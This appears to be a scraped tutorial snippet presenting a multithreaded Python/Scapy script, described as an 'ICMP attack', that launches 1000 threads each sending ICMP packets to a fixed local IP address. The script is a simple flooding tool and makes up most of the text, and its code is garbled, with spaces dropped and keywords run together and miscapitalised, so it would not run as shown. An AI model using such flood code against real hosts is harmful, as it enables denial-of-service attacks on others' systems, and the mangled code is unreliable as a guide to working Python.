When doing an ICMP attack, the function that sends the packet is first written in Python.
The data packet is Scapy module which needs to be installed first: Apt-get install Python-scapy
" "Date:2014/12/3author:yssfunction:send packets from host to server with multithreading" "ImportThreading fromTimeImportSleep,ctime fromScapy.allImport*Num=1000#The number of the threadclassMyThread (Threading. Thread):def __init__(self,func,args,name="'): Threading. Thread.__init__(self) self.name=name Self.func=func Self.args=argsdefRun (self): Apply (Self.func,self.args)defsend_packet (): Send (IP (DST='192.168.85.132', ttl= (1,100))/icmp ())#Each thread send packetsdefMain ():Print 'starting at:', CTime () Threads=[]#Deposit Thresds #Nloops=range (len (loops)) forIinchRange (num):#Create an instance of an objectT=mythread (Send_packet, (), Send_packet.__name__) threads.append (t) forIinchRange (num):#Start ThreadsThreads[i].start () forIinchRange (num):#wait for allThreads[i].join ()#Threads to finish Print 'All do at :', CTime ()if __name__=='__main__': Main ()
Multithreading sends ICMP packets (Python version)